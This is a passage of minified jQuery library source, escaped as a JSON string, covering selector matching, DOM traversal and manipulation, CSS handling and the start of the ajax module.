c=0,d=b||[];if(g.call(a)===\"[object Array]\")Array.prototype.push.apply(d,a);else if(typeof a.length==\"number\")for(var e=a.length;c\u003ce;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)\u00264?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex\u0026\u0026b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k\u003cc\u0026\u0026k\u003cd;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement(\"div\"),d=\"script\"+(new Date).getTime(),e=c.documentElement;a.innerHTML=\"\u003ca name='\"+d+\"'/\u003e\",e.insertBefore(a,e.firstChild),c.getElementById(d)\u0026\u0026(o.find.ID=function(a,c,d){if(typeof c.getElementById!=\"undefined\"\u0026\u0026!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!=\"undefined\"\u0026\u0026e.getAttributeNode(\"id\").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=\"undefined\"\u0026\u0026a.getAttributeNode(\"id\");return a.nodeType===1\u0026\u0026c\u0026\u0026c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement(\"div\");a.appendChild(c.createComment(\"\")),a.getElementsByTagName(\"*\").length\u003e0\u0026\u0026(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]===\"*\"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1\u0026\u0026d.push(c[e]);c=d}return c}),a.innerHTML=\"\u003ca href='#'\u003e\u003c/a\u003e\",a.firstChild\u0026\u0026typeof a.firstChild.getAttribute!=\"undefined\"\u0026\u0026a.firstChild.getAttribute(\"href\")!==\"#\"\u0026\u0026(o.attrHandle.href=function(a){return a.getAttribute(\"href\",2)}),a=null}(),c.querySelectorAll\u0026\u0026function(){var a=m,b=c.createElement(\"div\"),d=\"__sizzle__\";b.innerHTML=\"\u003cp class='TEST'\u003e\u003c/p\u003e\";if(!b.querySelectorAll||b.querySelectorAll(\".TEST\").length!==0){m=function(b,e,f,g){e=e||c;if(!g\u0026\u0026!m.isXML(e)){var h=/^(\\w+$)|^\\.([\\w\\-]+$)|^#([\\w\\-]+$)/.exec(b);if(h\u0026\u0026(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]\u0026\u0026o.find.CLASS\u0026\u0026e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b===\"body\"\u0026\u0026e.body)return s([e.body],f);if(h\u0026\u0026h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1\u0026\u0026e.nodeName.toLowerCase()!==\"object\"){var k=e,l=e.getAttribute(\"id\"),n=l||d,p=e.parentNode,q=/^\\s*[+~]/.test(b);l?n=n.replace(/'/g,\"\\\\$\u0026\"):e.setAttribute(\"id\",n),q\u0026\u0026p\u0026\u0026(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll(\"[id='\"+n+\"'] \"+b),f)}catch(r){}finally{l||k.removeAttribute(\"id\")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement(\"div\"),\"div\"),e=!1;try{b.call(c.documentElement,\"[test!='']:sizzle\")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\\=\\s*([^'\"\\]]*)\\s*\\]/g,\"='$1']\");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)\u0026\u0026!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document\u0026\u0026a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length\u003e0}}}(),function(){var a=c.createElement(\"div\");a.innerHTML=\"\u003cdiv class='test e'\u003e\u003c/div\u003e\u003cdiv class='test'\u003e\u003c/div\u003e\";if(!!a.getElementsByClassName\u0026\u0026a.getElementsByClassName(\"e\").length!==0){a.lastChild.className=\"e\";if(a.getElementsByClassName(\"e\").length===1)return;o.order.splice(1,0,\"CLASS\"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=\"undefined\"\u0026\u0026!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b\u0026\u0026(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)\u002616)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!==\"HTML\":!1};var y=function(a,b,c){var d,e=[],f=\"\",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,\"\");a=o.relative[a]?a+\"*\":a;for(var h=0,i=g.length;h\u003ci;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[\":\"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\\[\\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.POS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!=\"string\")return f(a).filter(function(){for(c=0,d=b.length;c\u003cd;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack(\"\",\"find\",a),g,h,i;for(c=0,d=this.length;c\u003cd;c++){g=e.length,f.find(a,this[c],e);if(c\u003e0)for(h=g;h\u003ce.length;h++)for(i=0;i\u003cg;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a\u003cc;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),\"not\",a)},filter:function(a){return this.pushStack(T(this,a,!0),\"filter\",a)},is:function(a){return!!a\u0026\u0026(typeof a==\"string\"?Q.test(a)?f(a,this.context).index(this[0])\u003e=0:f.filter(a,this).length\u003e0:this.filter(a).length\u003e0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g\u0026\u0026g.ownerDocument\u0026\u0026g!==b){for(d=0;d\u003ca.length;d++)f(g).is(a[d])\u0026\u0026c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!=\"string\"?f(a,b||this.context):0;for(d=0,e=this.length;d\u003ce;d++){g=this[d];while(g){if(i?i.index(g)\u003e-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length\u003e1?f.unique(c):c;return this.pushStack(c,\"closest\",a)},index:function(a){if(!a)return this[0]\u0026\u0026this[0].parentNode?this.prevAll().length:-1;if(typeof a==\"string\")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==\"string\"?f(a,b):f.makeArray(a\u0026\u0026a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b\u0026\u0026b.nodeType!==11?b:null},parents:function(a){return f.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return f.dir(a,\"parentNode\",c)},next:function(a){return f.nth(a,2,\"nextSibling\")},prev:function(a){return f.nth(a,2,\"previousSibling\")},nextAll:function(a){return f.dir(a,\"nextSibling\")},prevAll:function(a){return f.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return f.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return f.dir(a,\"previousSibling\",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d\u0026\u0026typeof d==\"string\"\u0026\u0026(e=f.filter(d,e)),e=this.length\u003e1\u0026\u0026!R[a]?f.unique(e):e,(this.length\u003e1||N.test(d))\u0026\u0026M.test(a)\u0026\u0026(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(\",\"))}}),f.extend({filter:function(a,b,c){c\u0026\u0026(a=\":not(\"+a+\")\");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g\u0026\u0026g.nodeType!==9\u0026\u0026(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1\u0026\u0026e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1\u0026\u0026++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1\u0026\u0026a!==b\u0026\u0026c.push(a);return c}});var V=\"abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",W=/ jQuery\\d+=\"(?:\\d+|null)\"/g,X=/^\\s+/,Y=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^\u003e]*)\\/\u003e/ig,Z=/\u003c([\\w:]+)/,$=/\u003ctbody/i,_=/\u003c|\u0026#?\\w+;/,ba=/\u003c(?:script|style)/i,bb=/\u003c(?:script|object|embed|option|style)/i,bc=new RegExp(\"\u003c(?:\"+V+\")\",\"i\"),bd=/checked\\s*(?:[^=]|=\\s*.checked.)/i,be=/\\/(java|ecma)script/i,bf=/^\\s*\u003c!(?:\\[CDATA\\[|\\-\\-)/,bg={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],legend:[1,\"\u003cfieldset\u003e\",\"\u003c/fieldset\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ctbody\u003e\u003c/tbody\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],area:[1,\"\u003cmap\u003e\",\"\u003c/map\u003e\"],_default:[0,\"\",\"\"]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,\"div\u003cdiv\u003e\",\"\u003c/div\u003e\"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!=\"object\"\u0026\u0026a!==b)return this.empty().append((this[0]\u0026\u0026this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode\u0026\u0026b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild\u0026\u0026a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,\"body\")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,\"before\",arguments)}},after:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,\"after\",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b\u0026\u0026d.nodeType===1\u0026\u0026(f.cleanData(d.getElementsByTagName(\"*\")),f.cleanData([d])),d.parentNode\u0026\u0026d.parentNode.removeChild(d);return this},empty:function()\n{for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1\u0026\u0026f.cleanData(b.getElementsByTagName(\"*\"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]\u0026\u0026this[0].nodeType===1?this[0].innerHTML.replace(W,\"\"):null;if(typeof a==\"string\"\u0026\u0026!ba.test(a)\u0026\u0026(f.support.leadingWhitespace||!X.test(a))\u0026\u0026!bg[(Z.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=a.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");try{for(var c=0,d=this.length;c\u003cd;c++)this[c].nodeType===1\u0026\u0026(f.cleanData(this[c].getElementsByTagName(\"*\")),this[c].innerHTML=a)}catch(e){this.empty().append(a)}}else f.isFunction(a)?this.each(function(b){var c=f(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]\u0026\u0026this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!=\"string\"\u0026\u0026(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),\"replaceWith\",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone\u0026\u0026arguments.length===3\u0026\u0026typeof j==\"string\"\u0026\u0026bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j\u0026\u0026j.parentNode,f.support.parentNode\u0026\u0026i\u0026\u0026i.nodeType===11\u0026\u0026i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c\u0026\u0026f.nodeName(g,\"tr\");for(var l=0,m=this.length,n=m-1;l\u003cm;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m\u003e1\u0026\u0026l\u003cn?f.clone(h,!0,!0):h)}k.length\u0026\u0026f.each(k,bp)}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b\u0026\u0026b[0]\u0026\u0026(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1\u0026\u0026typeof j==\"string\"\u0026\u0026j.length\u003c512\u0026\u0026i===c\u0026\u0026j.charAt(0)===\"\u003c\"\u0026\u0026!bb.test(j)\u0026\u0026(f.support.checkClone||!bd.test(j))\u0026\u0026(f.support.html5Clone||!bc.test(j))\u0026\u0026(g=!0,h=f.fragments[j],h\u0026\u0026h!==1\u0026\u0026(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g\u0026\u0026(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1\u0026\u0026this[0].parentNode;if(g\u0026\u0026g.nodeType===11\u0026\u0026g.childNodes.length===1\u0026\u0026e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h\u003ci;h++){var j=(h\u003e0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test(\"\u003c\"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)\u0026\u0026(a.nodeType===1||a.nodeType===11)\u0026\u0026!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]\u0026\u0026bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement==\"undefined\"\u0026\u0026(b=b.ownerDocument||b[0]\u0026\u0026b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k==\"number\"\u0026\u0026(k+=\"\");if(!k)continue;if(typeof k==\"string\")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");var l=(Z.exec(k)||[\"\",\"\"])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement(\"div\");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l===\"table\"\u0026\u0026!p?o.firstChild\u0026\u0026o.firstChild.childNodes:m[1]===\"\u003ctable\u003e\"\u0026\u0026!p?o.childNodes:[];for(i=q.length-1;i\u003e=0;--i)f.nodeName(q[i],\"tbody\")\u0026\u0026!q[i].childNodes.length\u0026\u0026q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace\u0026\u0026X.test(k)\u0026\u0026o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]\u0026\u0026typeof (r=k.length)==\"number\")for(i=0;i\u003cr;i++)bn(k[i]);else bn(k);k.nodeType?h.push(k):h=f.merge(h,k)}if(d){g=function(a){return!a.type||be.test(a.type)};for(j=0;h[j];j++)if(e\u0026\u0026f.nodeName(h[j],\"script\")\u0026\u0026(!h[j].type||h[j].type.toLowerCase()===\"text/javascript\"))e.push(h[j].parentNode?h[j].parentNode.removeChild(h[j]):h[j]);else{if(h[j].nodeType===1){var s=f.grep(h[j].getElementsByTagName(\"script\"),g);h.splice.apply(h,[j+1,0].concat(s))}d.appendChild(h[j])}}return h},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName\u0026\u0026f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b\u0026\u0026b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle\u0026\u0026(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute\u0026\u0026i.removeAttribute(f.expando),delete d[c]}}}});var bq=/alpha\\([^)]*\\)/i,br=/opacity=([^)]*)/,bs=/([A-Z]|^ms)/g,bt=/^-?\\d+(?:px)?$/i,bu=/^-?\\d/,bv=/^([\\-+])=([\\-+.\\de]+)/,bw={position:\"absolute\",visibility:\"hidden\",display:\"block\"},bx=[\"Left\",\"Right\"],by=[\"Top\",\"Bottom\"],bz,bA,bB;f.fn.css=function(a,c){if(arguments.length===2\u0026\u0026c===b)return this;return f.access(this,a,c,!0,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)})},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bz(a,\"opacity\",\"opacity\");return c===\"\"?\"1\":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":f.support.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(a,c,d,e){if(!!a\u0026\u0026a.nodeType!==3\u0026\u0026a.nodeType!==8\u0026\u0026!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k\u0026\u0026\"get\"in k\u0026\u0026(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h===\"string\"\u0026\u0026(g=bv.exec(d))\u0026\u0026(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h=\"number\");if(d==null||h===\"number\"\u0026\u0026isNaN(d))return;h===\"number\"\u0026\u0026!f.cssNumber[i]\u0026\u0026(d+=\"px\");if(!k||!(\"set\"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c===\"cssFloat\"\u0026\u0026(c=\"float\");if(g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,!0,d))!==b)return e;if(bz)return bz(a,c)},swap:function(a,b,c){var d={};for(var e in b)d[e]=a.style[e],a.style[e]=b[e];c.call(a);for(e in b)a.style[e]=d[e]}}),f.curCSS=f.css,f.each([\"height\",\"width\"],function(a,b){f.cssHooks[b]={get:function(a,c,d){var e;if(c){if(a.offsetWidth!==0)return bC(a,b,d);f.swap(a,bw,function(){e=bC(a,b,d)});return e}},set:function(a,b){if(!bt.test(b))return b;b=parseFloat(b);if(b\u003e=0)return b+\"px\"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b\u0026\u0026a.currentStyle?a.currentStyle.filter:a.style.filter)||\"\")?parseFloat(RegExp.$1)/100+\"\":b?\"1\":\"\"},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?\"alpha(opacity=\"+b*100+\")\":\"\",g=d\u0026\u0026d.filter||c.filter||\"\";c.zoom=1;if(b\u003e=1\u0026\u0026f.trim(g.replace(bq,\"\"))===\"\"){c.removeAttribute(\"filter\");if(d\u0026\u0026!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+\" \"+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:\"inline-block\"},function(){b?c=bz(a,\"margin-right\",\"marginRight\"):c=a.style.marginRight});return c}})}),c.defaultView\u0026\u0026c.defaultView.getComputedStyle\u0026\u0026(bA=function(a,b){var c,d,e;b=b.replace(bs,\"-$1\").toLowerCase(),(d=a.ownerDocument.defaultView)\u0026\u0026(e=d.getComputedStyle(a,null))\u0026\u0026(c=e.getPropertyValue(b),c===\"\"\u0026\u0026!f.contains(a.ownerDocument.documentElement,a)\u0026\u0026(c=f.style(a,b)));return c}),c.documentElement.currentStyle\u0026\u0026(bB=function(a,b){var c,d,e,f=a.currentStyle\u0026\u0026a.currentStyle[b],g=a.style;f===null\u0026\u0026g\u0026\u0026(e=g[b])\u0026\u0026(f=e),!bt.test(f)\u0026\u0026bu.test(f)\u0026\u0026(c=g.left,d=a.runtimeStyle\u0026\u0026a.runtimeStyle.left,d\u0026\u0026(a.runtimeStyle.left=a.currentStyle.left),g.left=b===\"fontSize\"?\"1em\":f||0,f=g.pixelLeft+\"px\",g.left=c,d\u0026\u0026(a.runtimeStyle.left=d));return f===\"\"?\"auto\":f}),bz=bA||bB,f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0\u0026\u0026c===0||!f.support.reliableHiddenOffsets\u0026\u0026(a.style\u0026\u0026a.style.display||f.css(a,\"display\"))===\"none\"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\\[\\]$/,bF=/\\r?\\n/g,bG=/#.*$/,bH=/^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\\-storage|.+\\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\\/\\//,bM=/\\?/,bN=/\u003cscript\\b[^\u003c]*(?:(?!\u003c\\/script\u003e)\u003c[^\u003c]*)*\u003c\\/script\u003e/gi,bO=/^(?:select|textarea)/i,bP=/\\s+/,bQ=/([?\u0026])_=[^\u0026]*/,bR=/^([\\w\\+\\.\\-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=[\"*/\"]+[\"*\"];try{bV=e.href}catch(bY){bV=c.createElement(\"a\"),bV.href=\"\",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!=\"string\"\u0026\u0026bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(\" \");if(e\u003e=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h=\"GET\";c\u0026\u0026(f.isFunction(c)?(d=c,c=b):typeof c==\"object\"\u0026\u0026(c=f.param(c,f.ajaxSettings.traditional),h=\"POST\"));var i=this;f.ajax({url:a,type:h,dataType:\"html\",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()\u0026\u0026(a.done(function(a){c=a}),i.html(g?f(\"\u003cdiv\u003e\").append(c.replace(bN,\"\")).find(g):c)),d\u0026\u0026i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name\u0026\u0026!this.disabled\u0026\u0026(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,\"\\r\\n\")}}):{name:b.name,value:c.replace(bF,\"\\r\\n\")}}).get()}}),f.each(\"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each([\"get\",\"post\"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)\u0026\u0026(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,\"script\")},getJSON:function(a,b,c){return f.get(a,b,c,\"json\")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:\"GET\",contentType:\"application/x-www-form-urlencoded\",processData:!0,async:!0,accepts:{xml:\"application/xml, text/xml\",html:\"text/html\",text:\"text/plain\",json:\"application/json, text/javascript\",\"*\":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\"},converters:{\"* text\":a.String,\"text html\":!0,\"text json\":f.parseJSON,\"text xml\":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q\u0026\u0026clearTimeout(q),p=b,n=m||\"\",v.readyState=a\u003e0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a\u003e=200\u0026\u0026a\u003c300||a===304){if(d.ifModified){if(y=v.getResponseHeader(\"Last-Modified\"))f.lastModified[k]=y;if(z=v.getResponseHeader(\"Etag\"))f.etag[k]=z}if(a===304)w=\"notmodified\",o=!0;else try{r=cc(d,x),w=\"success\",o=!0}catch(A){w=\"parsererror\",u=A}}else{u=w;if(!w||a)w=\"error\",a\u003c0\u0026\u0026(a=0)}v.status=a,v.statusText=\"\"+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t\u0026\u0026g.trigger(\"ajax\"+(o?\"Success\":\"Error\"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t\u0026\u0026(g.trigger(\"ajaxComplete\",[v,d]),--f.active||f.event.trigger(\"ajaxStop\"))}}typeof a==\"object\"\u0026\u0026(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d\u0026\u0026(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks(\"once memory\"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var 